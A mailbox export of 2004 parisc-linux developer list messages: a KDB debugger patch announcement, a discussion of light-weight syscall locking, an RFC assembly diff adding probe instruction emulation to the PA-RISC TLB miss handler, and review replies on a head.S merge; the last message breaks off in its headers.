Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07848-10; Fri, 6 Aug 2004 16:01:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 342E03BDF6; Fri,  6 Aug 2004 16:00:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00BFC3BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Aug 2004 16:00:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07813-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 6 Aug 2004 16:00:55 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id D6AF03BDEE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Aug 2004 16:00:54 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 96955CD2E1; Fri,  6 Aug 2004 15:00:54 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21853

KDB 4.4 support for parisc-linux is now available. 

To use it, first get the arch-indep kdb patch from SGI:
ftp://oss.sgi.com/projects/kdb/download/v4.4/kdb-v4.4-2.6.8-rc2-common-1.bz2

Then apply the parisc-specific patch:
http://ftp.parisc-linux.org/patches/kdb-v4.4-2.6.8-rc2-parisc-1.bz2

Tested in 32-bit UP and 64-bit UP/SMP against 2.6.8-rc2-pa6. There are
still various bugs and unimplemented features, but it might still be
interesting.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] KDB v4.4 support for parisc-linux
Date: Sat, 7 Aug 2004 15:30:28 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20040807193028.GO2672@baldric.uwo.ca>
References: <20040806220054.GB546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623515 10340 80.91.229.3 (22 Nov 2014 02:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1023 invoked by uid 65534); 7 Aug 2004 19:31:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 07 Aug 2004 21:31:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7BE013BDDD; Sat,  7 Aug 2004 13:31:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18313-02; Sat, 7 Aug 2004 13:31:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BD6353BDD6; Sat,  7 Aug 2004 13:30:48 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 55B5D3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Aug 2004 13:30:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17041-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Aug 2004 13:30:42 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id CEEC13BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Aug 2004 13:30:41 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BtWtg-0004Xg-00; Sat, 07 Aug 2004 15:30:28 -0400
Content-Disposition: inline
In-Reply-To: <20040806220054.GB546@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21854

On Fri, Aug 06, 2004 at 03:00:54PM -0700, Randolph Chung wrote:
> KDB 4.4 support for parisc-linux is now available. 
> 
> To use it, first get the arch-indep kdb patch from SGI:
> ftp://oss.sgi.com/projects/kdb/download/v4.4/kdb-v4.4-2.6.8-rc2-common-1.bz2
> 
> Then apply the parisc-specific patch:
> http://ftp.parisc-linux.org/patches/kdb-v4.4-2.6.8-rc2-parisc-1.bz2
> 
> Tested in 32-bit UP and 64-bit UP/SMP against 2.6.8-rc2-pa6. There are
> still various bugs and unimplemented features, but it might still be
> interesting.

Wicked! I'll have to test this right now for my lws changes.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Calling all experts... ldd, s   0(%sr0, %r26),
	%r1!!!
Date: Sun, 8 Aug 2004 02:14:32 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20040808061431.GT2672@baldric.uwo.ca>
References: <20040807193802.GP2672@baldric.uwo.ca>
	<200408072101.i77L1DZX016782@hiauly1.hia.nrc.ca>
	<20040807215227.GQ2672@baldric.uwo.ca>
	<1091917524.1978.35.camel@mulgrave>
	<20040808050107.GS2672@baldric.uwo.ca>
	<1091943537.1727.39.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623515 10344 80.91.229.3 (22 Nov 2014 02:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:55 +0000 (UTC)
Cc: lamont@debian.org,
 dave.anglin@nrc-cnrc.gc.ca,
 PARISC list <parisc-linux@lists.parisc-linux.org>,
 tausq@debian.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23062 invoked by uid 65534); 8 Aug 2004 06:15:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 08 Aug 2004 08:15:00 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5B1963BE41; Sun,  8 Aug 2004 00:14:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23686-08; Sun, 8 Aug 2004 00:14:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 736783BE4A; Sun,  8 Aug 2004 00:14:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27BDB3BE41
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Aug 2004 00:14:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23626-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Aug 2004 00:14:36 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id EBD573BE2A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Aug 2004 00:14:35 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Btgwy-0006sM-00; Sun, 08 Aug 2004 02:14:32 -0400
Content-Disposition: inline
In-Reply-To: <1091943537.1727.39.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21855

On Sat, Aug 07, 2004 at 10:38:51PM -0700, James Bottomley wrote:
> > This would require decoding the space register that the load used, and
> > seeing if it was non-zero. The alternative is just to make the LWS
> > faster and not set sr7 to kernel space, rather use another register to
> > do kernel loads and stores. You suggested this earlier but I didn't have
> > time to work it out.
> 
> The slight problem here is that the gateway page is execute only from
> userspace.  To load data from it, you have to be in kernel space. 
> However, as long as the privilege level is set to high, this should work
> provided you set up a space register for dereferencing the lws.

Yes, the problem here is that I need lock data available for SMP to work
properly. This involves, as you mentioned on IRC, adding another fixed
tlb entry that lets the user RW from lock data. This gets tricky because
such a page is technically visible from userspace and the locks could be
read and written to, messing up *other* CAS operations to other
addresses.

I think I might have to go the following route:

a. Enter kernel space (%r0 -> %sr7)
b. Use prober/probew
c. Add an exception for the user load and store, these happen with
   interrupts off. If such a page is in swap, I need the exception
   code to reenable interrupts and wait for the page to come back.

I *really* don't like 'c.' but it's always there if I have to turn off
interrupts and lock under SMP.  I guess atomic operations need a little
more support than normal operations... :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] probe,r and probe,w emulation in the kernel.
Date: Sun, 8 Aug 2004 02:17:05 -0400
Lines: 87
Approved: news@gmane.org
Message-ID: <20040808061704.GU2672@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623515 10345 80.91.229.3 (22 Nov 2014 02:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2480 invoked by uid 65534); 8 Aug 2004 06:17:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 08 Aug 2004 08:17:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AF3B33BE58; Sun,  8 Aug 2004 00:17:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24092-03; Sun, 8 Aug 2004 00:17:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0485F3BE51; Sun,  8 Aug 2004 00:17:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 027C73BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Aug 2004 00:17:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24092-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Aug 2004 00:17:07 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id ACD763BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Aug 2004 00:17:06 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BtgzR-0006sh-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 08 Aug 2004 02:17:05 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21856


pa,

Added probe,r and probe,w emulation in the nadtlb_emulate path of the
tlb miss handlers. It makes the emulation path 3 insns longer but allows
other kernel asm code to check for invalid user addresses. I use this
code right now in the LWS setup.

Comments are very welcome!

c.

Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.18
diff -u -p -r1.18 entry.S
--- arch/parisc/kernel/entry.S	30 Jul 2004 23:23:20 -0000	1.18
+++ arch/parisc/kernel/entry.S	8 Aug 2004 06:06:06 -0000
@@ -1443,18 +1443,29 @@ nadtlb_emulate:
 	 * of the instruction. Since we don't insert a translation
 	 * we can get a lot of faults during a flush loop, so it makes
 	 * sense to try to do it here with minimum overhead. We only
-	 * emulate fdc,fic & pdc instructions whose base and index
-	 * registers are not shadowed. We defer everything else to the
-	 * "slow" path.
+	 * emulate fdc,fic,pdc,probew,prober instructions whose base 
+         * and index registers are not shadowed. We defer everything 
+         * else to the "slow" path.
 	 */
 
 	mfctl           %cr19,%r9 /* Get iir */
-	ldi             0x280,%r16
+
+        /* PA 2.0 Arch Ref. Book pg 382 has a good description of the insn bits.
+           Checks for fdc,fdce,pdc,"fic,4f",prober,probeir,probew, probeiw */
+
+	ldi             0x80,%r16
 	and             %r9,%r16,%r17
-	cmpb,<>,n       %r16,%r17,nadtlb_fault /* Not fdc,fic,pdc */
+	cmpb,<>,n       %r16,%r17,nadtlb_fault 
+
+        /* Checks for fdc,fdce,pdc,"fic,4f" only */
+
+        ldi             0x200,%r16
+        and             %r9,%r16,%r17
+        cmpb,<>,n       %r16,%r17,nadtlb_probe /* Must be probe,[rw] */
 	bb,>=,n         %r9,26,nadtlb_nullify  /* m bit not set, just nullify */
 	BL		get_register,%r25
 	extrw,u         %r9,15,5,%r8           /* Get index register # */
+
 	CMPIB=,n        -1,%r1,nadtlb_fault    /* have to use slow path */
 	copy            %r1,%r24
 	BL		get_register,%r25
@@ -1471,6 +1482,26 @@ nadtlb_nullify:
 
 	rfir
 	nop
+
+        /* 
+           When there is no translation for the probew address then we
+           must nullify the insn and return zero in the target regsiter.
+           This will indicate to the calling code that it does not have 
+           write privileges to this address.
+
+           This should technically work for prober and probew in PA 1.1,
+           and also probe,r and probe,w in PA 2.0
+
+        */
+nadtlb_probe:
+        BL              get_register,%r25      /* Find the target register */
+	extrw,u         %r9,31,5,%r8           /* Get target register */
+	CMPIB=,n        -1,%r1,nadtlb_fault    /* have to use slow path */
+	BL		set_register,%r25
+        copy            %r0,%r1                /* Write zero to target register */
+        b nadtlb_nullify                       /* Nullify return insn */
+        nop
+
 
 #ifdef __LP64__
 itlb_miss_20w:
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] head.S merge, take 2
Date: Sun, 8 Aug 2004 16:15:37 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20040808201537.GA25662@mcmartin.ca>
References: <20040806015554.GA5319@leibniz.int.mcmartin.ca>
	<200408080355.i783tcVg018097@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623515 10349 80.91.229.3 (22 Nov 2014 02:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28007 invoked by uid 65534); 8 Aug 2004 20:16:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 08 Aug 2004 22:16:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5632D3BE47; Sun,  8 Aug 2004 14:16:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30990-06; Sun, 8 Aug 2004 14:16:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9061A3BE4E; Sun,  8 Aug 2004 14:15:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40A173BE42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Aug 2004 14:15:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30773-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Aug 2004 14:15:40 -0600 (MDT)
Original-Received: from mcmartin.ca (tombstone.cpe.net.cable.rogers.com [24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id C8C893BDFA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Aug 2004 14:15:39 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id 0B9C3E586; Sun,  8 Aug 2004 16:15:37 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200408080355.i783tcVg018097@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21857

On Sat, Aug 07, 2004 at 11:55:37PM -0400, John David Anglin wrote:
> > +#ifdef __LP64__
> > +	stb,ma          %r0,1(%r3)
> > +#else
> >  	stw,ma          %r0,4(%r3)
> > +#endif
> 
> This may not matter much but if you can use a stw for the 32-bit path
> you should also be able to use for __LP64__.
>
I tested this using stw,ma on both 32 and 64 bit, thanks!

> I seems like you may be able to get rid of this difference by making
> the destination register the same in the following hunk:
>
Nod. It cleans up a bit of the following code.

> +       ldo             ASM_PMD_ENTRY*ASM_PMD_ENTRY_SIZE(%r5),%r5
> +#else
> +        ldo             ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4),%r4
> +#endif
> 
I'm not entirely sure. The idea of being able to fold 3 level page
tables over 2 level on 32 bit might work here... I should check to see
if the offsets are the same...

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uninline in bitops.c as ia64 or sparc64?
Date: Mon, 9 Aug 2004 09:54:08 -0500
Lines: 142
Approved: news@gmane.org
Message-ID: <200408090954.08340.mszick@goquest.com>
References: <40C36EFD.6040002@tiscali.be>
	<200407310929.29022.mszick@goquest.com>
	<1091293141.1920.34.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_QA5FBDkgj6Nfe4p"
X-Trace: ger.gmane.org 1416623516 10361 80.91.229.3 (22 Nov 2014 02:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:56 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2330 invoked by uid 65534); 9 Aug 2004 14:53:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 09 Aug 2004 16:53:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AAA893BE3A; Mon,  9 Aug 2004 08:53:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08533-09; Mon, 9 Aug 2004 08:53:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AF2333BE5E; Mon,  9 Aug 2004 08:53:10 -0600 (MDT)
